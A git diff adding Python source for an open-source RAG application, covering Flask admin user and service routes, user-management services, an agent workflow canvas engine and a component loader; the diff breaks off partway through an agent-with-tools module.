+ return jsonify({
+ "code": code,
+ "message": message,
+ "data": data
+ }), 200
+
+def error_response(message="Error", code=-1, data=None):
+ return jsonify({
+ "code": code,
+ "message": message,
+ "data": data
+ }), 400
\ No newline at end of file
diff --git a/admin/routes.py b/admin/routes.py
new file mode 100644
index 0000000..a737305
--- /dev/null
+++ b/admin/routes.py
@@ -0,0 +1,190 @@
+from flask import Blueprint, request
+
+from auth import login_verify
+from responses import success_response, error_response
+from services import UserMgr, ServiceMgr, UserServiceMgr
+from api.common.exceptions import AdminException
+
+admin_bp = Blueprint('admin', __name__, url_prefix='/api/v1/admin')
+
+
+@admin_bp.route('/auth', methods=['GET'])
+@login_verify
+def auth_admin():
+ try:
+ return success_response(None, "Admin is authorized", 0)
+ except Exception as e:
+ return error_response(str(e), 500)
+
+
+@admin_bp.route('/users', methods=['GET'])
+@login_verify
+def list_users():
+ try:
+ users = UserMgr.get_all_users()
+ return success_response(users, "Get all users", 0)
+ except Exception as e:
+ return error_response(str(e), 500)
+
+
+@admin_bp.route('/users', methods=['POST'])
+@login_verify
+def create_user():
+ try:
+ data = request.get_json()
+ if not data or 'username' not in data or 'password' not in data:
+ return error_response("Username and password are required", 400)
+
+ username = data['username']
+ password = data['password']
+ role = data.get('role', 'user')
+
+ res = UserMgr.create_user(username, password, role)
+ if res["success"]:
+ user_info = res["user_info"]
+ user_info.pop("password") # do not return password
+ return success_response(user_info, "User created successfully")
+ else:
+ return error_response("create user failed")
+
+ except AdminException as e:
+ return error_response(e.message, e.code)
+ except Exception as e:
+ return error_response(str(e))
+
+
+@admin_bp.route('/users/', methods=['DELETE'])
+@login_verify
+def delete_user(username):
+ try:
+ res = UserMgr.delete_user(username)
+ if res["success"]:
+ return success_response(None, res["message"])
+ else:
+ return error_response(res["message"])
+
+ except AdminException as e:
+ return error_response(e.message, e.code)
+ except Exception as e:
+ return error_response(str(e), 500)
+
+
+@admin_bp.route('/users//password', methods=['PUT'])
+@login_verify
+def change_password(username):
+ try:
+ data = request.get_json()
+ if not data or 'new_password' not in data:
+ return error_response("New password is required", 400)
+
+ new_password = data['new_password']
+ msg = UserMgr.update_user_password(username, new_password)
+ return success_response(None, msg)
+
+ except AdminException as e:
+ return error_response(e.message, e.code)
+ except Exception as e:
+ return error_response(str(e), 500)
+
+
+@admin_bp.route('/users//activate', methods=['PUT'])
+@login_verify
+def alter_user_activate_status(username):
+ try:
+ data = request.get_json()
+ if not data or 'activate_status' not in data:
+ return error_response("Activation status is required", 400)
+ activate_status = data['activate_status']
+ msg = UserMgr.update_user_activate_status(username, activate_status)
+ return success_response(None, msg)
+ except AdminException as e:
+ return error_response(e.message, e.code)
+ except Exception as e:
+ return error_response(str(e), 500)
+
+@admin_bp.route('/users/', methods=['GET'])
+@login_verify
+def get_user_details(username):
+ try:
+ user_details = UserMgr.get_user_details(username)
+ return success_response(user_details)
+
+ except AdminException as e:
+ return error_response(e.message, e.code)
+ except Exception as e:
+ return error_response(str(e), 500)
+
+@admin_bp.route('/users//datasets', methods=['GET'])
+@login_verify
+def get_user_datasets(username):
+ try:
+ datasets_list = UserServiceMgr.get_user_datasets(username)
+ return success_response(datasets_list)
+
+ except AdminException as e:
+ return error_response(e.message, e.code)
+ except Exception as e:
+ return error_response(str(e), 500)
+
+
+@admin_bp.route('/users//agents', methods=['GET'])
+@login_verify
+def get_user_agents(username):
+ try:
+ agents_list = UserServiceMgr.get_user_agents(username)
+ return success_response(agents_list)
+
+ except AdminException as e:
+ return error_response(e.message, e.code)
+ except Exception as e:
+ return error_response(str(e), 500)
+
+
+@admin_bp.route('/services', methods=['GET'])
+@login_verify
+def get_services():
+ try:
+ services = ServiceMgr.get_all_services()
+ return success_response(services, "Get all services", 0)
+ except Exception as e:
+ return error_response(str(e), 500)
+
+
+@admin_bp.route('/service_types/', methods=['GET'])
+@login_verify
+def get_services_by_type(service_type_str):
+ try:
+ services = ServiceMgr.get_services_by_type(service_type_str)
+ return success_response(services)
+ except Exception as e:
+ return error_response(str(e), 500)
+
+
+@admin_bp.route('/services/', methods=['GET'])
+@login_verify
+def get_service(service_id):
+ try:
+ services = ServiceMgr.get_service_details(service_id)
+ return success_response(services)
+ except Exception as e:
+ return error_response(str(e), 500)
+
+
+@admin_bp.route('/services/', methods=['DELETE'])
+@login_verify
+def shutdown_service(service_id):
+ try:
+ services = ServiceMgr.shutdown_service(service_id)
+ return success_response(services)
+ except Exception as e:
+ return error_response(str(e), 500)
+
+
+@admin_bp.route('/services/', methods=['PUT'])
+@login_verify
+def restart_service(service_id):
+ try:
+ services = ServiceMgr.restart_service(service_id)
+ return success_response(services)
+ except Exception as e:
+ return error_response(str(e), 500)
diff --git a/admin/services.py b/admin/services.py
new file mode 100644
index 0000000..2c8eaaf
--- /dev/null
+++ b/admin/services.py
@@ -0,0 +1,192 @@
+import re
+from werkzeug.security import check_password_hash
+from api.db import ActiveEnum
+from api.db.services import UserService
+from api.db.joint_services.user_account_service import create_new_user, delete_user_data
+from api.db.services.canvas_service import UserCanvasService
+from api.db.services.user_service import TenantService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.utils.crypt import decrypt
+from api.utils import health_utils
+
+from api.common.exceptions import AdminException, UserAlreadyExistsError, UserNotFoundError
+from config import SERVICE_CONFIGS
+
+class UserMgr:
+ @staticmethod
+ def get_all_users():
+ users = UserService.get_all_users()
+ result = []
+ for user in users:
+ result.append({'email': user.email, 'nickname': user.nickname, 'create_date': user.create_date, 'is_active': user.is_active})
+ return result
+
+ @staticmethod
+ def get_user_details(username):
+ # use email to query
+ users = UserService.query_user_by_email(username)
+ result = []
+ for user in users:
+ result.append({
+ 'email': user.email,
+ 'language': user.language,
+ 'last_login_time': user.last_login_time,
+ 'is_authenticated': user.is_authenticated,
+ 'is_active': user.is_active,
+ 'is_anonymous': user.is_anonymous,
+ 'login_channel': user.login_channel,
+ 'status': user.status,
+ 'is_superuser': user.is_superuser,
+ 'create_date': user.create_date,
+ 'update_date': user.update_date
+ })
+ return result
+
+ @staticmethod
+ def create_user(username, password, role="user") -> dict:
+ # Validate the email address
+ if not re.match(r"^[\w\._-]+@([\w_-]+\.)+[\w-]{2,}$", username):
+ raise AdminException(f"Invalid email address: {username}!")
+ # Check if the email address is already used
+ if UserService.query(email=username):
+ raise UserAlreadyExistsError(username)
+ # Construct user info data
+ user_info_dict = {
+ "email": username,
+ "nickname": "", # ask user to edit it manually in settings.
+ "password": decrypt(password),
+ "login_channel": "password",
+ "is_superuser": role == "admin",
+ }
+ return create_new_user(user_info_dict)
+
+ @staticmethod
+ def delete_user(username):
+ # use email to delete
+ user_list = UserService.query_user_by_email(username)
+ if not user_list:
+ raise UserNotFoundError(username)
+ if len(user_list) > 1:
+ raise AdminException(f"Exist more than 1 user: {username}!")
+ usr = user_list[0]
+ return delete_user_data(usr.id)
+
+ @staticmethod
+ def update_user_password(username, new_password) -> str:
+ # use email to find user. check exist and unique.
+ user_list = UserService.query_user_by_email(username)
+ if not user_list:
+ raise UserNotFoundError(username)
+ elif len(user_list) > 1:
+ raise AdminException(f"Exist more than 1 user: {username}!")
+ # check new_password different from old.
+ usr = user_list[0]
+ psw = decrypt(new_password)
+ if check_password_hash(usr.password, psw):
+ return "Same password, no need to update!"
+ # update password
+ UserService.update_user_password(usr.id, psw)
+ return "Password updated successfully!"
+
+ @staticmethod
+ def update_user_activate_status(username, activate_status: str):
+ # use email to find user. check exist and unique.
+ user_list = UserService.query_user_by_email(username)
+ if not user_list:
+ raise UserNotFoundError(username)
+ elif len(user_list) > 1:
+ raise AdminException(f"Exist more than 1 user: {username}!")
+ # check activate status different from new
+ usr = user_list[0]
+ # format activate_status before handle
+ _activate_status = activate_status.lower()
+ target_status = {
+ 'on': ActiveEnum.ACTIVE.value,
+ 'off': ActiveEnum.INACTIVE.value,
+ }.get(_activate_status)
+ if not target_status:
+ raise AdminException(f"Invalid activate_status: {activate_status}")
+ if target_status == usr.is_active:
+ return f"User activate status is already {_activate_status}!"
+ # update is_active
+ UserService.update_user(usr.id, {"is_active": target_status})
+ return f"Turn {_activate_status} user activate status successfully!"
+
+class UserServiceMgr:
+
+ @staticmethod
+ def get_user_datasets(username):
+ # use email to find user.
+ user_list = UserService.query_user_by_email(username)
+ if not user_list:
+ raise UserNotFoundError(username)
+ elif len(user_list) > 1:
+ raise AdminException(f"Exist more than 1 user: {username}!")
+ # find tenants
+ usr = user_list[0]
+ tenants = TenantService.get_joined_tenants_by_user_id(usr.id)
+ tenant_ids = [m["tenant_id"] for m in tenants]
+ # filter permitted kb and owned kb
+ return KnowledgebaseService.get_all_kb_by_tenant_ids(tenant_ids, usr.id)
+
+ @staticmethod
+ def get_user_agents(username):
+ # use email to find user.
+ user_list = UserService.query_user_by_email(username)
+ if not user_list:
+ raise UserNotFoundError(username)
+ elif len(user_list) > 1:
+ raise AdminException(f"Exist more than 1 user: {username}!")
+ # find tenants
+ usr = user_list[0]
+ tenants = TenantService.get_joined_tenants_by_user_id(usr.id)
+ tenant_ids = [m["tenant_id"] for m in tenants]
+ # filter permitted agents and owned agents
+ res = UserCanvasService.get_all_agents_by_tenant_ids(tenant_ids, usr.id)
+ return [{
+ 'title': r['title'],
+ 'permission': r['permission'],
+ 'canvas_type': r['canvas_type'],
+ 'canvas_category': r['canvas_category']
+ } for r in res]
+
+class ServiceMgr:
+
+ @staticmethod
+ def get_all_services():
+ result = []
+ configs = SERVICE_CONFIGS.configs
+ for config in configs:
+ result.append(config.to_dict())
+ return result
+
+ @staticmethod
+ def get_services_by_type(service_type_str: str):
+ raise AdminException("get_services_by_type: not implemented")
+
+ @staticmethod
+ def get_service_details(service_id: int):
+ service_id = int(service_id)
+ configs = SERVICE_CONFIGS.configs
+ service_config_mapping = {
+ c.id: {
+ 'name': c.name,
+ 'detail_func_name': c.detail_func_name
+ } for c in configs
+ }
+ service_info = service_config_mapping.get(service_id, {})
+ if not service_info:
+ raise AdminException(f"Invalid service_id: {service_id}")
+
+ detail_func = getattr(health_utils, service_info.get('detail_func_name'))
+ res = detail_func()
+ res.update({'service_name': service_info.get('name')})
+ return res
+
+ @staticmethod
+ def shutdown_service(service_id: int):
+ raise AdminException("shutdown_service: not implemented")
+
+ @staticmethod
+ def restart_service(service_id: int):
+ raise AdminException("restart_service: not implemented")
diff --git a/agent/__init__.py b/agent/__init__.py
new file mode 100644
index 0000000..643f797
--- /dev/null
+++ b/agent/__init__.py
@@ -0,0 +1,18 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+from beartype.claw import beartype_this_package
+beartype_this_package()
diff --git a/agent/canvas.py b/agent/canvas.py
new file mode 100644
index 0000000..a22391d
--- /dev/null
+++ b/agent/canvas.py
@@ -0,0 +1,515 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import base64
+import json
+import logging
+import re
+import time
+from concurrent.futures import ThreadPoolExecutor
+from copy import deepcopy
+from functools import partial
+from typing import Any, Union, Tuple
+
+from agent.component import component_class
+from agent.component.base import ComponentBase
+from api.db.services.file_service import FileService
+from api.utils import get_uuid, hash_str2int
+from rag.prompts.generator import chunks_format
+from rag.utils.redis_conn import REDIS_CONN
+
+class Graph:
+ """
+ dsl = {
+ "components": {
+ "begin": {
+ "obj":{
+ "component_name": "Begin",
+ "params": {},
+ },
+ "downstream": ["answer_0"],
+ "upstream": [],
+ },
+ "retrieval_0": {
+ "obj": {
+ "component_name": "Retrieval",
+ "params": {}
+ },
+ "downstream": ["generate_0"],
+ "upstream": ["answer_0"],
+ },
+ "generate_0": {
+ "obj": {
+ "component_name": "Generate",
+ "params": {}
+ },
+ "downstream": ["answer_0"],
+ "upstream": ["retrieval_0"],
+ }
+ },
+ "history": [],
+ "path": ["begin"],
+ "retrieval": {"chunks": [], "doc_aggs": []},
+ "globals": {
+ "sys.query": "",
+ "sys.user_id": tenant_id,
+ "sys.conversation_turns": 0,
+ "sys.files": []
+ }
+ }
+ """
+
+ def __init__(self, dsl: str, tenant_id=None, task_id=None):
+ self.path = []
+ self.components = {}
+ self.error = ""
+ self.dsl = json.loads(dsl)
+ self._tenant_id = tenant_id
+ self.task_id = task_id if task_id else get_uuid()
+ self.load()
+
+ def load(self):
+ self.components = self.dsl["components"]
+ cpn_nms = set([])
+ for k, cpn in self.components.items():
+ cpn_nms.add(cpn["obj"]["component_name"])
+
+ for k, cpn in self.components.items():
+ cpn_nms.add(cpn["obj"]["component_name"])
+ param = component_class(cpn["obj"]["component_name"] + "Param")()
+ param.update(cpn["obj"]["params"])
+ try:
+ param.check()
+ except Exception as e:
+ raise ValueError(self.get_component_name(k) + f": {e}")
+
+ cpn["obj"] = component_class(cpn["obj"]["component_name"])(self, k, param)
+
+ self.path = self.dsl["path"]
+
+ def __str__(self):
+ self.dsl["path"] = self.path
+ self.dsl["task_id"] = self.task_id
+ dsl = {
+ "components": {}
+ }
+ for k in self.dsl.keys():
+ if k in ["components"]:
+ continue
+ dsl[k] = deepcopy(self.dsl[k])
+
+ for k, cpn in self.components.items():
+ if k not in dsl["components"]:
+ dsl["components"][k] = {}
+ for c in cpn.keys():
+ if c == "obj":
+ dsl["components"][k][c] = json.loads(str(cpn["obj"]))
+ continue
+ dsl["components"][k][c] = deepcopy(cpn[c])
+ return json.dumps(dsl, ensure_ascii=False)
+
+ def reset(self):
+ self.path = []
+ for k, cpn in self.components.items():
+ self.components[k]["obj"].reset()
+ try:
+ REDIS_CONN.delete(f"{self.task_id}-logs")
+ except Exception as e:
+ logging.exception(e)
+
+ def get_component_name(self, cid):
+ for n in self.dsl.get("graph", {}).get("nodes", []):
+ if cid == n["id"]:
+ return n["data"]["name"]
+ return ""
+
+ def run(self, **kwargs):
+ raise NotImplementedError()
+
+ def get_component(self, cpn_id) -> Union[None, dict[str, Any]]:
+ return self.components.get(cpn_id)
+
+ def get_component_obj(self, cpn_id) -> ComponentBase:
+ return self.components.get(cpn_id)["obj"]
+
+ def get_component_type(self, cpn_id) -> str:
+ return self.components.get(cpn_id)["obj"].component_name
+
+ def get_component_input_form(self, cpn_id) -> dict:
+ return self.components.get(cpn_id)["obj"].get_input_form()
+
+ def get_tenant_id(self):
+ return self._tenant_id
+
+ def get_variable_value(self, exp: str) -> Any:
+ exp = exp.strip("{").strip("}").strip(" ").strip("{").strip("}")
+ if exp.find("@") < 0:
+ return self.globals[exp]
+ cpn_id, var_nm = exp.split("@")
+ cpn = self.get_component(cpn_id)
+ if not cpn:
+ raise Exception(f"Can't find variable: '{cpn_id}@{var_nm}'")
+ return cpn["obj"].output(var_nm)
+
+
+class Canvas(Graph):
+
+ def __init__(self, dsl: str, tenant_id=None, task_id=None):
+ self.globals = {
+ "sys.query": "",
+ "sys.user_id": tenant_id,
+ "sys.conversation_turns": 0,
+ "sys.files": []
+ }
+ super().__init__(dsl, tenant_id, task_id)
+
+ def load(self):
+ super().load()
+ self.history = self.dsl["history"]
+ if "globals" in self.dsl:
+ self.globals = self.dsl["globals"]
+ else:
+ self.globals = {
+ "sys.query": "",
+ "sys.user_id": "",
+ "sys.conversation_turns": 0,
+ "sys.files": []
+ }
+
+ self.retrieval = self.dsl["retrieval"]
+ self.memory = self.dsl.get("memory", [])
+
+ def __str__(self):
+ self.dsl["history"] = self.history
+ self.dsl["retrieval"] = self.retrieval
+ self.dsl["memory"] = self.memory
+ return super().__str__()
+
+ def reset(self, mem=False):
+ super().reset()
+ if not mem:
+ self.history = []
+ self.retrieval = []
+ self.memory = []
+
+ for k in self.globals.keys():
+ if isinstance(self.globals[k], str):
+ self.globals[k] = ""
+ elif isinstance(self.globals[k], int):
+ self.globals[k] = 0
+ elif isinstance(self.globals[k], float):
+ self.globals[k] = 0
+ elif isinstance(self.globals[k], list):
+ self.globals[k] = []
+ elif isinstance(self.globals[k], dict):
+ self.globals[k] = {}
+ else:
+ self.globals[k] = None
+
+ def run(self, **kwargs):
+ st = time.perf_counter()
+ self.message_id = get_uuid()
+ created_at = int(time.time())
+ self.add_user_input(kwargs.get("query"))
+ for k, cpn in self.components.items():
+ self.components[k]["obj"].reset(True)
+
+ for k in kwargs.keys():
+ if k in ["query", "user_id", "files"] and kwargs[k]:
+ if k == "files":
+ self.globals[f"sys.{k}"] = self.get_files(kwargs[k])
+ else:
+ self.globals[f"sys.{k}"] = kwargs[k]
+ if not self.globals["sys.conversation_turns"] :
+ self.globals["sys.conversation_turns"] = 0
+ self.globals["sys.conversation_turns"] += 1
+
+ def decorate(event, dt):
+ nonlocal created_at
+ return {
+ "event": event,
+ #"conversation_id": "f3cc152b-24b0-4258-a1a1-7d5e9fc8a115",
+ "message_id": self.message_id,
+ "created_at": created_at,
+ "task_id": self.task_id,
+ "data": dt
+ }
+
+ if not self.path or self.path[-1].lower().find("userfillup") < 0:
+ self.path.append("begin")
+ self.retrieval.append({"chunks": [], "doc_aggs": []})
+
+ yield decorate("workflow_started", {"inputs": kwargs.get("inputs")})
+ self.retrieval.append({"chunks": {}, "doc_aggs": {}})
+
+ def _run_batch(f, t):
+ with ThreadPoolExecutor(max_workers=5) as executor:
+ thr = []
+ for i in range(f, t):
+ cpn = self.get_component_obj(self.path[i])
+ if cpn.component_name.lower() in ["begin", "userfillup"]:
+ thr.append(executor.submit(cpn.invoke, inputs=kwargs.get("inputs", {})))
+ else:
+ thr.append(executor.submit(cpn.invoke, **cpn.get_input()))
+ for t in thr:
+ t.result()
+
+ def _node_finished(cpn_obj):
+ return decorate("node_finished",{
+ "inputs": cpn_obj.get_input_values(),
+ "outputs": cpn_obj.output(),
+ "component_id": cpn_obj._id,
+ "component_name": self.get_component_name(cpn_obj._id),
+ "component_type": self.get_component_type(cpn_obj._id),
+ "error": cpn_obj.error(),
+ "elapsed_time": time.perf_counter() - cpn_obj.output("_created_time"),
+ "created_at": cpn_obj.output("_created_time"),
+ })
+
+ self.error = ""
+ idx = len(self.path) - 1
+ partials = []
+ while idx < len(self.path):
+ to = len(self.path)
+ for i in range(idx, to):
+ yield decorate("node_started", {
+ "inputs": None, "created_at": int(time.time()),
+ "component_id": self.path[i],
+ "component_name": self.get_component_name(self.path[i]),
+ "component_type": self.get_component_type(self.path[i]),
+ "thoughts": self.get_component_thoughts(self.path[i])
+ })
+ _run_batch(idx, to)
+
+ # post processing of components invocation
+ for i in range(idx, to):
+ cpn = self.get_component(self.path[i])
+ cpn_obj = self.get_component_obj(self.path[i])
+ if cpn_obj.component_name.lower() == "message":
+ if isinstance(cpn_obj.output("content"), partial):
+ _m = ""
+ for m in cpn_obj.output("content")():
+ if not m:
+ continue
+ if m == "":
+ yield decorate("message", {"content": "", "start_to_think": True})
+ elif m == " ":
+ yield decorate("message", {"content": "", "end_to_think": True})
+ else:
+ yield decorate("message", {"content": m})
+ _m += m
+ cpn_obj.set_output("content", _m)
+ cite = re.search(r"\[ID:[ 0-9]+\]", _m)
+ else:
+ yield decorate("message", {"content": cpn_obj.output("content")})
+ cite = re.search(r"\[ID:[ 0-9]+\]", cpn_obj.output("content"))
+ yield decorate("message_end", {"reference": self.get_reference() if cite else None})
+
+ while partials:
+ _cpn_obj = self.get_component_obj(partials[0])
+ if isinstance(_cpn_obj.output("content"), partial):
+ break
+ yield _node_finished(_cpn_obj)
+ partials.pop(0)
+
+ other_branch = False
+ if cpn_obj.error():
+ ex = cpn_obj.exception_handler()
+ if ex and ex["goto"]:
+ self.path.extend(ex["goto"])
+ other_branch = True
+ elif ex and ex["default_value"]:
+ yield decorate("message", {"content": ex["default_value"]})
+ yield decorate("message_end", {})
+ else:
+ self.error = cpn_obj.error()
+
+ if cpn_obj.component_name.lower() != "iteration":
+ if isinstance(cpn_obj.output("content"), partial):
+ if self.error:
+ cpn_obj.set_output("content", None)
+ yield _node_finished(cpn_obj)
+ else:
+ partials.append(self.path[i])
+ else:
+ yield _node_finished(cpn_obj)
+
+ def _append_path(cpn_id):
+ nonlocal other_branch
+ if other_branch:
+ return
+ if self.path[-1] == cpn_id:
+ return
+ self.path.append(cpn_id)
+
+ def _extend_path(cpn_ids):
+ nonlocal other_branch
+ if other_branch:
+ return
+ for cpn_id in cpn_ids:
+ _append_path(cpn_id)
+
+ if cpn_obj.component_name.lower() == "iterationitem" and cpn_obj.end():
+ iter = cpn_obj.get_parent()
+ yield _node_finished(iter)
+ _extend_path(self.get_component(cpn["parent_id"])["downstream"])
+ elif cpn_obj.component_name.lower() in ["categorize", "switch"]:
+ _extend_path(cpn_obj.output("_next"))
+ elif cpn_obj.component_name.lower() == "iteration":
+ _append_path(cpn_obj.get_start())
+ elif not cpn["downstream"] and cpn_obj.get_parent():
+ _append_path(cpn_obj.get_parent().get_start())
+ else:
+ _extend_path(cpn["downstream"])
+
+ if self.error:
+ logging.error(f"Runtime Error: {self.error}")
+ break
+ idx = to
+
+ if any([self.get_component_obj(c).component_name.lower() == "userfillup" for c in self.path[idx:]]):
+ path = [c for c in self.path[idx:] if self.get_component(c)["obj"].component_name.lower() == "userfillup"]
+ path.extend([c for c in self.path[idx:] if self.get_component(c)["obj"].component_name.lower() != "userfillup"])
+ another_inputs = {}
+ tips = ""
+ for c in path:
+ o = self.get_component_obj(c)
+ if o.component_name.lower() == "userfillup":
+ another_inputs.update(o.get_input_elements())
+ if o.get_param("enable_tips"):
+ tips = o.get_param("tips")
+ self.path = path
+ yield decorate("user_inputs", {"inputs": another_inputs, "tips": tips})
+ return
+
+ self.path = self.path[:idx]
+ if not self.error:
+ yield decorate("workflow_finished",
+ {
+ "inputs": kwargs.get("inputs"),
+ "outputs": self.get_component_obj(self.path[-1]).output(),
+ "elapsed_time": time.perf_counter() - st,
+ "created_at": st,
+ })
+ self.history.append(("assistant", self.get_component_obj(self.path[-1]).output()))
+
+ def is_reff(self, exp: str) -> bool:
+ exp = exp.strip("{").strip("}")
+ if exp.find("@") < 0:
+ return exp in self.globals
+ arr = exp.split("@")
+ if len(arr) != 2:
+ return False
+ if self.get_component(arr[0]) is None:
+ return False
+ return True
+
+ def get_history(self, window_size):
+ convs = []
+ if window_size <= 0:
+ return convs
+ for role, obj in self.history[window_size * -2:]:
+ if isinstance(obj, dict):
+ convs.append({"role": role, "content": obj.get("content", "")})
+ else:
+ convs.append({"role": role, "content": str(obj)})
+ return convs
+
+ def add_user_input(self, question):
+ self.history.append(("user", question))
+
+ def get_prologue(self):
+ return self.components["begin"]["obj"]._param.prologue
+
+ def get_mode(self):
+ return self.components["begin"]["obj"]._param.mode
+
+ def set_global_param(self, **kwargs):
+ self.globals.update(kwargs)
+
+ def get_preset_param(self):
+ return self.components["begin"]["obj"]._param.inputs
+
+ def get_component_input_elements(self, cpnnm):
+ return self.components[cpnnm]["obj"].get_input_elements()
+
+ def get_files(self, files: Union[None, list[dict]]) -> list[str]:
+ if not files:
+ return []
+ def image_to_base64(file):
+ return "data:{};base64,{}".format(file["mime_type"],
+ base64.b64encode(FileService.get_blob(file["created_by"], file["id"])).decode("utf-8"))
+ exe = ThreadPoolExecutor(max_workers=5)
+ threads = []
+ for file in files:
+ if file["mime_type"].find("image") >=0:
+ threads.append(exe.submit(image_to_base64, file))
+ continue
+ threads.append(exe.submit(FileService.parse, file["name"], FileService.get_blob(file["created_by"], file["id"]), True, file["created_by"]))
+ return [th.result() for th in threads]
+
+ def tool_use_callback(self, agent_id: str, func_name: str, params: dict, result: Any, elapsed_time=None):
+ agent_ids = agent_id.split("-->")
+ agent_name = self.get_component_name(agent_ids[0])
+ path = agent_name if len(agent_ids) < 2 else agent_name+"-->"+"-->".join(agent_ids[1:])
+ try:
+ bin = REDIS_CONN.get(f"{self.task_id}-{self.message_id}-logs")
+ if bin:
+ obj = json.loads(bin.encode("utf-8"))
+ if obj[-1]["component_id"] == agent_ids[0]:
+ obj[-1]["trace"].append({"path": path, "tool_name": func_name, "arguments": params, "result": result, "elapsed_time": elapsed_time})
+ else:
+ obj.append({
+ "component_id": agent_ids[0],
+ "trace": [{"path": path, "tool_name": func_name, "arguments": params, "result": result, "elapsed_time": elapsed_time}]
+ })
+ else:
+ obj = [{
+ "component_id": agent_ids[0],
+ "trace": [{"path": path, "tool_name": func_name, "arguments": params, "result": result, "elapsed_time": elapsed_time}]
+ }]
+ REDIS_CONN.set_obj(f"{self.task_id}-{self.message_id}-logs", obj, 60*10)
+ except Exception as e:
+ logging.exception(e)
+
+ def add_reference(self, chunks: list[object], doc_infos: list[object]):
+ if not self.retrieval:
+ self.retrieval = [{"chunks": {}, "doc_aggs": {}}]
+
+ r = self.retrieval[-1]
+ for ck in chunks_format({"chunks": chunks}):
+ cid = hash_str2int(ck["id"], 500)
+ # cid = uuid.uuid5(uuid.NAMESPACE_DNS, ck["id"])
+ if cid not in r:
+ r["chunks"][cid] = ck
+
+ for doc in doc_infos:
+ if doc["doc_name"] not in r:
+ r["doc_aggs"][doc["doc_name"]] = doc
+
+ def get_reference(self):
+ if not self.retrieval:
+ return {"chunks": {}, "doc_aggs": {}}
+ return self.retrieval[-1]
+
+ def add_memory(self, user:str, assist:str, summ: str):
+ self.memory.append((user, assist, summ))
+
+ def get_memory(self) -> list[Tuple]:
+ return self.memory
+
+ def get_component_thoughts(self, cpn_id) -> str:
+ return self.components.get(cpn_id)["obj"].thoughts()
+
diff --git a/agent/component/__init__.py b/agent/component/__init__.py
new file mode 100644
index 0000000..47a348f
--- /dev/null
+++ b/agent/component/__init__.py
@@ -0,0 +1,58 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import os
+import importlib
+import inspect
+from types import ModuleType
+from typing import Dict, Type
+
+_package_path = os.path.dirname(__file__)
+__all_classes: Dict[str, Type] = {}
+
+def _import_submodules() -> None:
+ for filename in os.listdir(_package_path): # noqa: F821
+ if filename.startswith("__") or not filename.endswith(".py") or filename.startswith("base"):
+ continue
+ module_name = filename[:-3]
+
+ try:
+ module = importlib.import_module(f".{module_name}", package=__name__)
+ _extract_classes_from_module(module) # noqa: F821
+ except ImportError as e:
+ print(f"Warning: Failed to import module {module_name}: {str(e)}")
+
+def _extract_classes_from_module(module: ModuleType) -> None:
+ for name, obj in inspect.getmembers(module):
+ if (inspect.isclass(obj) and
+ obj.__module__ == module.__name__ and not name.startswith("_")):
+ __all_classes[name] = obj
+ globals()[name] = obj
+
+_import_submodules()
+
+__all__ = list(__all_classes.keys()) + ["__all_classes"]
+
+del _package_path, _import_submodules, _extract_classes_from_module
+
+
+def component_class(class_name):
+ for mdl in ["agent.component", "agent.tools", "rag.flow"]:
+ try:
+ return getattr(importlib.import_module(mdl), class_name)
+ except Exception:
+ pass
+ assert False, f"Can't import {class_name}"
diff --git a/agent/component/agent_with_tools.py b/agent/component/agent_with_tools.py
new file mode 100644
index 0000000..a85df40
--- /dev/null
+++ b/agent/component/agent_with_tools.py
@@ -0,0 +1,352 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import os
+import re
+from concurrent.futures import ThreadPoolExecutor
+from copy import deepcopy
+from functools import partial
+from typing import Any
+
+import json_repair
+from timeit import default_timer as timer
+from agent.tools.base import LLMToolPluginCallSession, ToolParamBase, ToolBase, ToolMeta
+from api.db.services.llm_service import LLMBundle
+from api.db.services.tenant_llm_service import TenantLLMService
+from api.db.services.mcp_server_service import MCPServerService
+from api.utils.api_utils import timeout
+from rag.prompts.generator import next_step, COMPLETE_TASK, analyze_task, \
+ citation_prompt, reflect, rank_memories, kb_prompt, citation_plus, full_question, message_fit_in
+from rag.utils.mcp_tool_call_conn import MCPToolCallSession, mcp_tool_metadata_to_openai_tool
+from agent.component.llm import LLMParam, LLM
+
+
+class AgentParam(LLMParam, ToolParamBase):
+ """
+ Define the Agent component parameters.
+ """
+
+ def __init__(self):
+ self.meta:ToolMeta = {
+ "name": "agent",
+ "description": "This is an agent for a specific task.",
+ "parameters": {
+ "user_prompt": {
+ "type": "string",
+ "description": "This is the order you need to send to the agent.",
+ "default": "",
+ "required": True
+ },
+ "reasoning": {
+ "type": "string",
+ "description": (
+ "Supervisor's reasoning for choosing the this agent. "
+ "Explain why this agent is being invoked and what is expected of it."
+ ),
+ "required": True
+ },
